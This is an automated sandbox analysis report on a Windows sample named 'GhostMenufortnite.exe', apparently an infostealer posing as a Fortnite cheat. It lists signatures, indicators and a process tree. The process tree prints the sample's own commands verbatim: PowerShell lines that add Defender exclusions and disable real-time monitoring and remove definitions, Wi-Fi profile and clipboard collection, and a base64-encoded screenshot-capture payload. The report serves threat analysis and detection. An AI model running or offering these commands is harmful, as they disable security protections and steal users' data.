Analysis
-
max time kernel
7s -
max time network
14s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
04/11/2024, 18:04
Behavioral task
behavioral1
Sample
GhostMenufortnite.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
GhostMenufortnite.exe
Resource
win10v2004-20241007-en
General
-
Target
GhostMenufortnite.exe
-
Size
7.4MB
-
MD5
bf3a3cd9846970e0b2884c799ffe42ce
-
SHA1
6c88fd2dbbba342a771c4a83aae2ece40a6099b4
-
SHA256
c3335bf2bd5442782b779825dd46b687dfdca60c3bacaaef40ba5102ed9f8cfb
-
SHA512
e8c2fa5e986411f8827c083a44d467b60c281159bdd652e544628a431b5f9c1520ea749a547b79f53ebe5429d6f77e01c6b7c83c9bf46ea8b7dfeb10ae755c61
-
SSDEEP
196608:k/0cDLLjv+bhqNVoBKUh8mz4Iv9PQv1DV2:FivL+9qz8/b4Imv32
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1644 powershell.exe 2104 powershell.exe 5112 powershell.exe 4768 powershell.exe 5028 powershell.exe -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts GhostMenufortnite.exe -
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
pid Process 4324 cmd.exe 320 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 2012 rar.exe -
Loads dropped DLL 17 IoCs
pid Process 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe 2352 GhostMenufortnite.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 30 discord.com 31 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 28 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Enumerates processes with tasklist 1 TTPs 4 IoCs
pid Process 2356 tasklist.exe 4484 tasklist.exe 4524 tasklist.exe 1420 tasklist.exe -
resource yara_rule behavioral2/files/0x0007000000023cc0-21.dat upx behavioral2/memory/2352-25-0x00007FFF75EB0000-0x00007FFF76499000-memory.dmp upx behavioral2/memory/2352-30-0x00007FFF89770000-0x00007FFF89793000-memory.dmp upx behavioral2/files/0x0007000000023cb9-47.dat upx behavioral2/memory/2352-48-0x00007FFF8DFF0000-0x00007FFF8DFFF000-memory.dmp upx behavioral2/files/0x0007000000023cb8-46.dat upx behavioral2/files/0x0007000000023cb7-45.dat upx behavioral2/files/0x0007000000023cb6-44.dat upx behavioral2/files/0x0007000000023cb5-43.dat upx behavioral2/files/0x0007000000023cb4-42.dat upx behavioral2/files/0x0007000000023cb3-41.dat upx behavioral2/files/0x0007000000023cb1-40.dat upx behavioral2/files/0x0007000000023cc5-39.dat upx behavioral2/files/0x0007000000023cc4-38.dat upx behavioral2/files/0x0007000000023cc3-37.dat upx behavioral2/files/0x0007000000023cbf-34.dat upx behavioral2/files/0x0007000000023cbc-33.dat upx behavioral2/files/0x0007000000023cbe-31.dat upx behavioral2/files/0x0007000000023cb2-28.dat upx behavioral2/memory/2352-54-0x00007FFF85500000-0x00007FFF8552D000-memory.dmp upx behavioral2/memory/2352-56-0x00007FFF8B630000-0x00007FFF8B649000-memory.dmp upx behavioral2/memory/2352-58-0x00007FFF84AC0000-0x00007FFF84AE3000-memory.dmp upx behavioral2/memory/2352-60-0x00007FFF75B70000-0x00007FFF75CE7000-memory.dmp upx behavioral2/memory/2352-62-0x00007FFF850A0000-0x00007FFF850B9000-memory.dmp upx behavioral2/memory/2352-64-0x00007FFF8B7C0000-0x00007FFF8B7CD000-memory.dmp upx behavioral2/memory/2352-66-0x00007FFF84810000-0x00007FFF84843000-memory.dmp upx behavioral2/memory/2352-71-0x00007FFF80670000-0x00007FFF8073D000-memory.dmp upx behavioral2/memory/2352-74-0x00007FFF89770000-0x00007FFF89793000-memory.dmp upx behavioral2/memory/2352-73-0x00007FFF754A0000-0x00007FFF759C2000-memory.dmp upx behavioral2/memory/2352-70-0x00007FFF75EB0000-0x00007FFF76499000-memory.dmp upx behavioral2/memory/2352-76-0x00007FFF84AA0000-0x00007FFF84AB4000-memory.dmp upx behavioral2/memory/2352-78-0x00007FFF8A080000-0x00007FFF8A08D000-memory.dmp upx behavioral2/memory/2352-82-0x00007FFF75010000-0x00007FFF7512C000-memory.dmp upx behavioral2/memory/2352-132-0x00007FFF84AC0000-0x00007FFF84AE3000-memory.dmp upx behavioral2/memory/2352-188-0x00007FFF75B70000-0x00007FFF75CE7000-memory.dmp upx behavioral2/memory/2352-259-0x00007FFF850A0000-0x00007FFF850B9000-memory.dmp upx behavioral2/memory/2352-271-0x00007FFF8B7C0000-0x00007FFF8B7CD000-memory.dmp upx behavioral2/memory/2352-287-0x00007FFF84810000-0x00007FFF84843000-memory.dmp upx behavioral2/memory/2352-308-0x00007FFF80670000-0x00007FFF8073D000-memory.dmp upx behavioral2/memory/2352-311-0x00007FFF754A0000-0x00007FFF759C2000-memory.dmp upx behavioral2/memory/2352-318-0x00007FFF75B70000-0x00007FFF75CE7000-memory.dmp upx behavioral2/memory/2352-313-0x00007FFF89770000-0x00007FFF89793000-memory.dmp upx behavioral2/memory/2352-312-0x00007FFF75EB0000-0x00007FFF76499000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 2932 cmd.exe 4968 netsh.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2000 WMIC.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3460 systeminfo.exe -
Suspicious behavior: EnumeratesProcesses 27 IoCs
pid Process 5112 powershell.exe 5112 powershell.exe 2104 powershell.exe 2104 powershell.exe 1644 powershell.exe 1644 powershell.exe 320 powershell.exe 320 powershell.exe 1164 powershell.exe 1164 powershell.exe 320 powershell.exe 5112 powershell.exe 2104 powershell.exe 1644 powershell.exe 1164 powershell.exe 4768 powershell.exe 4768 powershell.exe 4768 powershell.exe 4820 powershell.exe 4820 powershell.exe 4820 powershell.exe 5028 powershell.exe 5028 powershell.exe 5028 powershell.exe 1096 powershell.exe 1096 powershell.exe 1096 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4524 tasklist.exe Token: SeDebugPrivilege 1420 tasklist.exe Token: SeDebugPrivilege 5112 powershell.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeDebugPrivilege 2356 tasklist.exe Token: SeDebugPrivilege 1644 powershell.exe Token: SeDebugPrivilege 320 powershell.exe Token: SeIncreaseQuotaPrivilege 2652 WMIC.exe Token: SeSecurityPrivilege 2652 WMIC.exe Token: SeTakeOwnershipPrivilege 2652 WMIC.exe Token: SeLoadDriverPrivilege 2652 WMIC.exe Token: SeSystemProfilePrivilege 2652 WMIC.exe Token: SeSystemtimePrivilege 2652 WMIC.exe Token: SeProfSingleProcessPrivilege 2652 WMIC.exe Token: SeIncBasePriorityPrivilege 2652 WMIC.exe Token: SeCreatePagefilePrivilege 2652 WMIC.exe Token: SeBackupPrivilege 2652 WMIC.exe Token: SeRestorePrivilege 2652 WMIC.exe Token: SeShutdownPrivilege 2652 WMIC.exe Token: SeDebugPrivilege 2652 WMIC.exe Token: SeSystemEnvironmentPrivilege 2652 WMIC.exe Token: SeRemoteShutdownPrivilege 2652 WMIC.exe Token: SeUndockPrivilege 2652 WMIC.exe Token: SeManageVolumePrivilege 2652 WMIC.exe Token: 33 2652 WMIC.exe Token: 34 2652 WMIC.exe Token: 35 2652 WMIC.exe Token: 36 2652 WMIC.exe Token: SeDebugPrivilege 1164 powershell.exe Token: SeIncreaseQuotaPrivilege 2652 WMIC.exe Token: SeSecurityPrivilege 2652 WMIC.exe Token: SeTakeOwnershipPrivilege 2652 WMIC.exe Token: SeLoadDriverPrivilege 2652 WMIC.exe Token: SeSystemProfilePrivilege 2652 WMIC.exe Token: SeSystemtimePrivilege 2652 WMIC.exe Token: SeProfSingleProcessPrivilege 2652 WMIC.exe Token: SeIncBasePriorityPrivilege 2652 WMIC.exe Token: SeCreatePagefilePrivilege 2652 WMIC.exe Token: SeBackupPrivilege 2652 WMIC.exe Token: SeRestorePrivilege 2652 WMIC.exe Token: SeShutdownPrivilege 2652 WMIC.exe Token: SeDebugPrivilege 2652 WMIC.exe Token: SeSystemEnvironmentPrivilege 2652 WMIC.exe Token: SeRemoteShutdownPrivilege 2652 WMIC.exe Token: SeUndockPrivilege 2652 WMIC.exe Token: SeManageVolumePrivilege 2652 WMIC.exe Token: 33 2652 WMIC.exe Token: 34 2652 WMIC.exe Token: 35 2652 WMIC.exe Token: 36 2652 WMIC.exe Token: SeDebugPrivilege 4484 tasklist.exe Token: SeDebugPrivilege 4768 powershell.exe Token: SeDebugPrivilege 4820 powershell.exe Token: SeIncreaseQuotaPrivilege 1420 WMIC.exe Token: SeSecurityPrivilege 1420 WMIC.exe Token: SeTakeOwnershipPrivilege 1420 WMIC.exe Token: SeLoadDriverPrivilege 1420 WMIC.exe Token: SeSystemProfilePrivilege 1420 WMIC.exe Token: SeSystemtimePrivilege 1420 WMIC.exe Token: SeProfSingleProcessPrivilege 1420 WMIC.exe Token: SeIncBasePriorityPrivilege 1420 WMIC.exe Token: SeCreatePagefilePrivilege 1420 WMIC.exe Token: SeBackupPrivilege 1420 WMIC.exe Token: SeRestorePrivilege 1420 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2620 wrote to memory of 2352 2620 GhostMenufortnite.exe 84 PID 2620 wrote to memory of 2352 2620 GhostMenufortnite.exe 84 PID 2352 wrote to memory of 388 2352 GhostMenufortnite.exe 88 PID 2352 wrote to memory of 388 2352 GhostMenufortnite.exe 88 PID 2352 wrote to memory of 5104 2352 GhostMenufortnite.exe 89 PID 2352 wrote to memory of 5104 2352 GhostMenufortnite.exe 89 PID 2352 wrote to memory of 2044 2352 GhostMenufortnite.exe 90 PID 2352 wrote to memory of 2044 2352 GhostMenufortnite.exe 90 PID 2352 wrote to memory of 1848 2352 GhostMenufortnite.exe 91 PID 2352 wrote to memory of 1848 2352 GhostMenufortnite.exe 91 PID 2352 wrote to memory of 1416 2352 GhostMenufortnite.exe 96 PID 2352 wrote to memory of 1416 2352 GhostMenufortnite.exe 96 PID 2352 wrote to memory of 1560 2352 GhostMenufortnite.exe 97 PID 2352 wrote to memory of 1560 2352 GhostMenufortnite.exe 97 PID 1416 wrote to memory of 4524 1416 cmd.exe 100 PID 1416 wrote to memory of 4524 1416 cmd.exe 100 PID 1560 wrote to memory of 1420 1560 cmd.exe 101 PID 1560 wrote to memory of 1420 1560 cmd.exe 101 PID 2352 wrote to memory of 4716 2352 GhostMenufortnite.exe 144 PID 2352 wrote to memory of 4716 2352 GhostMenufortnite.exe 144 PID 2352 wrote to memory of 4324 2352 GhostMenufortnite.exe 103 PID 2352 wrote to memory of 4324 2352 GhostMenufortnite.exe 103 PID 2352 wrote to memory of 1384 2352 GhostMenufortnite.exe 104 PID 2352 wrote to memory of 1384 2352 GhostMenufortnite.exe 104 PID 2352 wrote to memory of 4380 2352 GhostMenufortnite.exe 108 PID 2352 wrote to memory of 4380 2352 GhostMenufortnite.exe 108 PID 388 wrote to memory of 1644 388 cmd.exe 110 PID 388 wrote to memory of 1644 388 cmd.exe 110 PID 2352 wrote to memory of 2932 2352 GhostMenufortnite.exe 111 PID 2352 wrote to memory of 2932 2352 GhostMenufortnite.exe 111 PID 2352 wrote to memory of 3272 2352 GhostMenufortnite.exe 112 PID 2352 wrote to memory of 3272 2352 GhostMenufortnite.exe 112 PID 5104 wrote to memory of 5112 5104 cmd.exe 113 PID 5104 wrote to memory of 5112 5104 cmd.exe 113 PID 1848 wrote to memory of 2104 1848 cmd.exe 114 PID 1848 wrote to memory of 2104 1848 cmd.exe 114 PID 2044 wrote to memory of 3884 2044 cmd.exe 115 PID 2044 wrote to memory of 3884 2044 cmd.exe 115 PID 2352 wrote to memory of 2664 2352 GhostMenufortnite.exe 116 PID 2352 wrote to memory of 2664 2352 GhostMenufortnite.exe 116 PID 2352 wrote to memory of 8 2352 GhostMenufortnite.exe 118 PID 2352 wrote to memory of 8 2352 GhostMenufortnite.exe 118 PID 4324 wrote to memory of 320 4324 cmd.exe 123 PID 4324 wrote to memory of 320 4324 cmd.exe 123 PID 1384 wrote to memory of 2356 1384 cmd.exe 124 PID 1384 wrote to memory of 2356 1384 cmd.exe 124 PID 4380 wrote to memory of 1400 4380 cmd.exe 125 PID 4380 wrote to memory of 1400 4380 cmd.exe 125 PID 4716 wrote to memory of 2652 4716 cmd.exe 126 PID 4716 wrote to memory of 2652 4716 cmd.exe 126 PID 2352 wrote to memory of 2628 2352 GhostMenufortnite.exe 127 PID 2352 wrote to memory of 2628 2352 GhostMenufortnite.exe 127 PID 2932 wrote to memory of 4968 2932 cmd.exe 129 PID 2932 wrote to memory of 4968 2932 cmd.exe 129 PID 2664 wrote to memory of 4344 2664 cmd.exe 130 PID 2664 wrote to memory of 4344 2664 cmd.exe 130 PID 8 wrote to memory of 1164 8 cmd.exe 131 PID 8 wrote to memory of 1164 8 cmd.exe 131 PID 3272 wrote to memory of 3460 3272 cmd.exe 132 PID 3272 wrote to memory of 3460 3272 cmd.exe 132 PID 2628 wrote to memory of 3280 2628 cmd.exe 133 PID 2628 wrote to memory of 3280 2628 cmd.exe 133 PID 2352 wrote to memory of 4304 2352 GhostMenufortnite.exe 134 PID 2352 wrote to memory of 4304 2352 GhostMenufortnite.exe 134 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 964 attrib.exe 3264 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\GhostMenufortnite.exe"C:\Users\Admin\AppData\Local\Temp\GhostMenufortnite.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2620 -
C:\Users\Admin\AppData\Local\Temp\GhostMenufortnite.exe"C:\Users\Admin\AppData\Local\Temp\GhostMenufortnite.exe"2⤵
- Drops file in Drivers directory
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2352 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\GhostMenufortnite.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:388 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\GhostMenufortnite.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1644
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:5104 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5112
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('YOU JUST GOT RATTED ', 0, 'ERROR', 48+16);close()""3⤵
- Suspicious use of WriteProcessMemory
PID:2044 -
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('YOU JUST GOT RATTED ', 0, 'ERROR', 48+16);close()"4⤵PID:3884
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"3⤵
- Suspicious use of WriteProcessMemory
PID:1848 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2104
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:1416 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4524
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1420
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵
- Suspicious use of WriteProcessMemory
PID:4716 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2652
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
- Clipboard Data
- Suspicious use of WriteProcessMemory
PID:4324 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:320
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:1384 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2356
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵
- Suspicious use of WriteProcessMemory
PID:4380 -
C:\Windows\system32\tree.comtree /A /F4⤵PID:1400
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"3⤵
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:2932 -
C:\Windows\system32\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:4968
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵
- Suspicious use of WriteProcessMemory
PID:3272 -
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:3460
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"3⤵
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath4⤵PID:4344
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="3⤵
- Suspicious use of WriteProcessMemory
PID:8 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsAD